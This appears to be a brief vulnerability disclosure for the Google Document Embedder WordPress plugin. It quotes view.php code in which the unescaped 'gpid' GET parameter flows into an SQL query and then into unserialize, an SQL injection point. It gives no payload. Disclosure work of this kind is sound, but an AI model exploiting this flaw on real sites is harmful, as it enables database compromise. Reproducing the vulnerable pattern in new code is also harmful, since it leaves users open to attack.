1. Description
  
$_GET['gpid'] is not escaped.

File: google-document-embedder\view.php
if ( isset( $_GET['gpid'] ) ) {
	if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
		$tb = $profile['tb_flags'];
		$vw = $profile['vw_flags'];
		$bg = $profile['vw_bgcolor'];
		$css = $profile['vw_css'];
	}
}

So we control $id.

File: google-document-embedder\view.php
function gde_get_profile( $id ) {
	global $wpdb;
	$table = $wpdb->prefix . 'gde_profiles';

	$profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
	$profile = unserialize($profile[0]['profile_data']);

	if ( is_array($profile) ) {
		return $profile;
	} else {
		return false;
	}
}
